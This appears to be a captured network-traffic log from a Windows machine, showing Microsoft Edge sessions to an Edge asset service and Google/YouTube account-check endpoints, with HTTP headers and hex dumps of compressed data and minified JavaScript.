2024-07-26 08:37:26 UTC	633	IN	HTTP/1.1 200 OK Cache-Control: max-age=86400, private Content-Length: 2060 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"X-RADID":"P425775005-T700421790-C128000000003081769"},{"BATCH_REDIRECT_STORE":"B128000000003081769+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 26 Jul 2024 08:37:25 GMT Connection: close
2024-07-26 08:37:26 UTC	2060	IN	Data Raw: 7b 22 66 22 3a 22 72 61 66 22 2c 22 76 22 3a 22 31 2e 30 22 2c 22 72 64 72 22 3a 5b 7b 22 63 22 3a 22 41 6e 61 68 65 69 6d 20 50 61 73 73 77 6f 72 64 20 4d 6f 6e 69 74 6f 72 22 2c 22 75 22 3a 22 43 6f 6e 73 65 6e 74 20 53 61 76 65 20 50 61 73 73 77 6f 72 64 22 7d 5d 2c 22 61 64 22 3a 7b 22 54 49 54 4c 45 5f 53 41 56 45 22 3a 22 53 61 76 65 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 22 2c 22 54 49 54 4c 45 5f 55 50 44 41 54 45 22 3a 22 53 61 76 65 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 22 2c 22 54 49 54 4c 45 5f 53 41 56 45 44 5f 50 41 53 53 57 4f 52 44 22 3a 22 53 61 76 65 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 22 2c 22 54 49 54 4c 45 5f 4e 4f 5f 53 41 56 45 44 5f 50 41 53 53 57 4f 52 44 22 3a 22 53 61 76 65 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 Data Ascii: {"f":"raf","v":"1.0","rdr":[{"c":"Anaheim Password Monitor","u":"Consent Save Password"}],"ad":{"TITLE_SAVE":"Save your password","TITLE_UPDATE":"Save your password","TITLE_SAVED_PASSWORD":"Save your password","TITLE_NO_SAVED_PASSWORD":"Save your password

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49847	13.107.246.40	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:27 UTC	711	OUT	GET /assets/domains_config_gz/2.8.75/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:27 UTC	576	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:37:27 GMT Content-Type: application/octet-stream Content-Length: 79192 Connection: close Content-Encoding: gzip Last-Modified: Wed, 22 May 2024 23:09:58 GMT ETag: 0x8DC7AB44D2CA6C5 x-ms-request-id: 149f584a-201e-003f-01e7-dedfdb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240726T083727Z-15c77d89844cz2bmr10rt1nydg00000001u0000000000xqp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-26 08:37:27 UTC	15808	IN	Data Raw: 1f 8b 08 08 46 7b 4e 66 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: F{Nfasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-07-26 08:37:27 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-07-26 08:37:27 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-07-26 08:37:27 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-07-26 08:37:27 UTC	14232	IN	Data Raw: 68 03 ee 80 b5 3b 12 61 75 e9 1b 80 49 37 e3 81 63 57 87 03 5d 30 c4 2c 68 be 29 95 24 e0 73 e2 94 ba 7c 22 47 ea b4 f3 4a ab de 10 bb 0f 22 b0 e3 03 f1 16 c4 09 e2 54 66 ca 62 e0 bd 45 b4 68 87 69 72 a9 a8 3a 28 8c ad c8 95 24 60 28 0b c5 a8 db e3 d5 17 cd 43 46 b4 fb 46 fd a3 14 49 08 2b a0 d4 0b 48 65 a7 34 02 ce 86 25 ec 4d 18 c8 06 95 b7 db ae 2c d4 04 dd 90 c7 1a 26 c2 da 18 8e c3 e7 b6 d0 48 5c c7 b0 14 4c 7c f1 b4 2a ac 33 ac 8a 9e 31 0d 6c 3e aa 0c 15 a1 45 32 ac 4e d6 6f ba 9a 27 26 95 df 33 99 0b 20 7d af b2 62 2d 9c ea d1 32 e1 30 9b 8a 31 68 6d 15 9c 98 ab c8 c6 e3 7e e5 00 84 e0 e3 a8 2a 88 4f 2a 47 73 00 26 98 78 bc 7a 46 b8 72 83 b9 60 67 8e 22 40 d7 fa c3 ee f3 d0 41 41 2f 43 d3 eb 75 57 f1 23 82 0d a8 53 cf 60 24 25 57 06 76 43 89 6b 4a Data Ascii: h;auI7cW]0,h)$s\|"GJ"TfbEhir:($`(CFFI+He4%M,&H\L\|31l>E2No'&3 }b-201hm~O*Gs&xzFr`g"@AA/CuW#S`$%WvCkJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49849	142.250.80.78	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:27 UTC	1080	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=1941245123&timestamp=1721983046487 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.150" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150", "Google Chrome";v="117.0.5938.150" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:27 UTC	1953	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Rnco_UOes5zkdNOQJwPeTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Jul 2024 08:37:27 GMT Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzj0tDikmJw0JBikPj6kkkDiJ3SZ7AGAXHSv_OsRUC8JOIi66HEi6xCPBzHD_RuZRO40DDvKJOSXlJ-YXxmSmpeSWZJZUp-bmJmXnJ-fnZmanFxalFZalG8kYGRiYG5kaGegUV8gQEA6JUmeQ" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-26 08:37:27 UTC	1953	IN	Data Raw: 37 36 36 66 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 52 6e 63 6f 5f 55 4f 65 73 35 7a 6b 64 4e 4f 51 4a 77 50 65 54 41 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f Data Ascii: 766f<html><head><script nonce="Rnco_UOes5zkdNOQJwPeTA">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){(typeo
2024-07-26 08:37:27 UTC	1953	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 20 69 6e 20 62 7d 29 5d 7c 7c 22 22 7d 7d 2c 71 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 0a 66 61 28 29 3b 69 66 28 61 3d 3d 3d 22 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 22 29 7b 69 66 28 6a 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 63 5b 31 5d 3d 3d 22 37 2e 30 22 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 Data Ascii: (function(d){return d in b})]\|\|""}},qa=function(a){var b=fa();if(a==="Internet Explorer"){if(ja())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),c[1]=="7.0")if(b&&b[1])swi
2024-07-26 08:37:27 UTC	1953	IN	Data Raw: 3d 76 6f 69 64 20 30 3b 69 66 28 61 3d 3d 6e 75 6c 6c 29 7b 76 61 72 20 64 3d 39 36 3b 63 3f 28 61 3d 5b 63 5d 2c 64 7c 3d 35 31 32 29 3a 61 3d 5b 5d 3b 62 26 26 28 64 3d 64 26 2d 31 36 37 36 30 38 33 33 7c 28 62 26 31 30 32 33 29 3c 3c 31 34 29 7d 65 6c 73 65 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6e 22 29 3b 64 3d 7a 28 61 29 3b 69 66 28 64 26 32 30 34 38 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6f 22 29 3b 69 66 28 64 26 0a 36 34 29 72 65 74 75 72 6e 20 61 3b 64 7c 3d 36 34 3b 69 66 28 63 26 26 28 64 7c 3d 35 31 32 2c 63 21 3d 3d 61 5b 30 5d 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 70 22 29 3b 61 3a 7b 63 3d 61 3b 76 61 72 20 65 3d 63 2e 6c 65 6e 67 74 68 3b 69 66 28 65 29 7b 76 61 Data Ascii: =void 0;if(a==null){var d=96;c?(a=[c],d\|=512):a=[];b&&(d=d&-16760833\|(b&1023)<<14)}else{if(!Array.isArray(a))throw Error("n");d=z(a);if(d&2048)throw Error("o");if(d&64)return a;d\|=64;if(c&&(d\|=512,c!==a[0]))throw Error("p");a:{c=a;var e=c.length;if(e){va
2024-07-26 08:37:27 UTC	1953	IN	Data Raw: 6e 73 74 72 75 63 74 6f 72 2e 63 61 3b 76 61 72 20 65 3d 4b 61 28 63 3f 61 2e 43 3a 62 29 3b 69 66 28 61 3d 62 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 66 3d 62 5b 61 2d 31 5d 2c 68 3d 77 61 28 66 29 3b 68 3f 61 2d 2d 3a 66 3d 76 6f 69 64 20 30 3b 65 3d 2b 21 21 28 65 26 35 31 32 29 2d 31 3b 76 61 72 20 67 3d 62 3b 69 66 28 68 29 7b 62 3a 7b 76 61 72 20 6b 3d 66 3b 76 61 72 20 6c 3d 7b 7d 3b 68 3d 21 31 3b 69 66 28 6b 29 66 6f 72 28 76 61 72 20 6d 20 69 6e 20 6b 29 69 66 28 69 73 4e 61 4e 28 2b 6d 29 29 6c 5b 6d 5d 3d 6b 5b 6d 5d 3b 65 6c 73 65 7b 76 61 72 20 71 3d 6b 5b 6d 5d 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 71 29 26 26 28 41 28 71 2c 64 2c 0a 2b 6d 29 7c 7c 76 61 28 71 29 26 26 71 2e 73 69 7a 65 3d 3d 3d 30 29 26 26 28 71 3d 6e 75 6c 6c 29 3b Data Ascii: nstructor.ca;var e=Ka(c?a.C:b);if(a=b.length){var f=b[a-1],h=wa(f);h?a--:f=void 0;e=+!!(e&512)-1;var g=b;if(h){b:{var k=f;var l={};h=!1;if(k)for(var m in k)if(isNaN(+m))l[m]=k[m];else{var q=k[m];Array.isArray(q)&&(A(q,d,+m)\|\|va(q)&&q.size===0)&&(q=null);
2024-07-26 08:37:27 UTC	1953	IN	Data Raw: 29 7b 76 61 72 20 64 3d 50 61 5b 62 5b 63 5d 5d 3b 74 79 70 65 6f 66 20 64 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 45 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 51 61 28 4e 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 0a 76 61 72 20 51 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 2c Data Ascii: ){var d=Pa[b[c]];typeof d==="function"&&typeof d.prototype[a]!="function"&&E(d.prototype,a,{configurable:!0,writable:!0,value:function(){return Qa(Na(this))}})}return a});var Qa=function(a){a={next:a};a[Symbol.iterator]=function(){return this};return a},
2024-07-26 08:37:27 UTC	1953	IN	Data Raw: 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 69 66 28 21 63 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 22 29 3b 64 28 6b 29 3b 69 66 28 21 48 28 6b 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6a 60 22 2b 6b 29 3b 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3d 6c 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 63 28 6b 29 26 26 48 28 6b 2c 66 29 3f 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3a 76 6f 69 64 20 30 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 63 28 6b 29 26 26 48 28 6b 2c 66 29 26 26 48 28 6b 5b 66 5d 2c 74 68 69 73 2e 67 29 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 64 Data Ascii: set=function(k,l){if(!c(k))throw Error("i");d(k);if(!H(k,f))throw Error("j`"+k);k[f][this.g]=l;return this};g.prototype.get=function(k){return c(k)&&H(k,f)?k[f][this.g]:void 0};g.prototype.has=function(k){return c(k)&&H(k,f)&&H(k[f],this.g)};g.prototype.d
2024-07-26 08:37:27 UTC	1953	IN	Data Raw: 65 73 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 76 61 72 20 6c 3d 6b 26 26 74 79 70 65 6f 66 20 6b 3b 6c 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 62 2e 68 61 73 28 6b 29 3f 6c 3d 62 2e 67 65 74 28 6b 29 3a 28 6c 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6b 2c 6c 29 29 3a 6c 3d 22 70 5f 22 2b 6b 3b 76 61 72 20 6d 3d 67 5b 30 5d 5b 6c 5d 3b 69 66 28 6d 26 26 48 28 67 5b 30 5d 2c 6c 29 29 66 6f 72 28 67 3d 30 3b 67 3c 6d 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 7b 76 61 72 20 71 3d 6d 5b 67 5d 3b 69 66 28 6b 21 3d 3d 6b 26 26 71 2e 6b 65 79 21 3d 3d 71 2e 6b 65 79 7c 7c 6b 3d 3d 3d 71 2e 6b 65 79 29 72 65 74 75 72 6e 7b 69 64 3a 6c 2c 6c 69 73 74 3a 6d 2c 69 6e 64 65 78 3a 67 2c 6c 3a 71 7d 7d 72 65 74 Data Ascii: es;var d=function(g,k){var l=k&&typeof k;l=="object"\|\|l=="function"?b.has(k)?l=b.get(k):(l=""+ ++h,b.set(k,l)):l="p_"+k;var m=g[0][l];if(m&&H(g[0],l))for(g=0;g<m.length;g++){var q=m[g];if(k!==k&&q.key!==q.key\|\|k===q.key)return{id:l,list:m,index:g,l:q}}ret
2024-07-26 08:37:27 UTC	1953	IN	Data Raw: 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 66 2e 76 61 6c 75 65 2c 68 2b 2b 29 29 7d 65 6c 73 65 20 66 6f 72 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 68 3d 30 3b 68 3c 66 3b 68 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 68 5d 2c 68 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 29 3b 76 61 72 20 5a 61 3d 5a 61 7c 7c 7b 7d 2c 72 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 61 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 24 61 28 22 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 2e 6f 78 4e 33 6e 62 22 29 3b 61 3d 63 26 26 63 5b 61 5d 3b 72 65 74 75 72 6e 20 61 21 3d 6e 75 6c 6c 3f 61 3a 62 7d 2c 49 3d 72 2e 5f 46 5f 74 6f 67 67 6c 65 73 7c 7c 5b 5d 2c 24 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b Data Ascii: ext()).done;)e.push(c.call(d,f.value,h++))}else for(f=b.length,h=0;h<f;h++)e.push(c.call(d,b[h],h));return e}});var Za=Za\|\|{},r=this\|\|self,ab=function(a,b){var c=$a("WIZ_global_data.oxN3nb");a=c&&c[a];return a!=null?a:b},I=r._F_toggles\|\|[],$a=function(a){
2024-07-26 08:37:27 UTC	1953	IN	Data Raw: 67 22 3f 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 66 3d 30 3b 66 3c 64 3b 66 2b 2b 29 66 20 69 6e 20 65 26 26 62 2e 63 61 6c 6c 28 63 2c 65 5b 66 5d 2c 66 2c 61 29 7d 3b 76 61 72 20 63 61 3d 22 63 6f 6e 73 74 72 75 63 74 6f 72 20 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 20 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 20 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 20 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 20 74 6f 53 74 72 69 6e 67 20 76 61 6c 75 65 4f 66 22 2e 73 70 6c 69 74 28 22 20 22 29 3b 76 61 72 20 6a 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 63 3d 63 7c 7c 72 3b 76 61 72 20 64 3d 63 2e 6f 6e 65 72 72 6f 72 2c 65 3d 21 21 62 3b 63 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 2c 67 2c 6b 2c 6c 29 7b 64 26 Data Ascii: g"?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)};var ca="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");var jb=function(a,b,c){c=c\|\|r;var d=c.onerror,e=!!b;c.onerror=function(f,h,g,k,l){d&
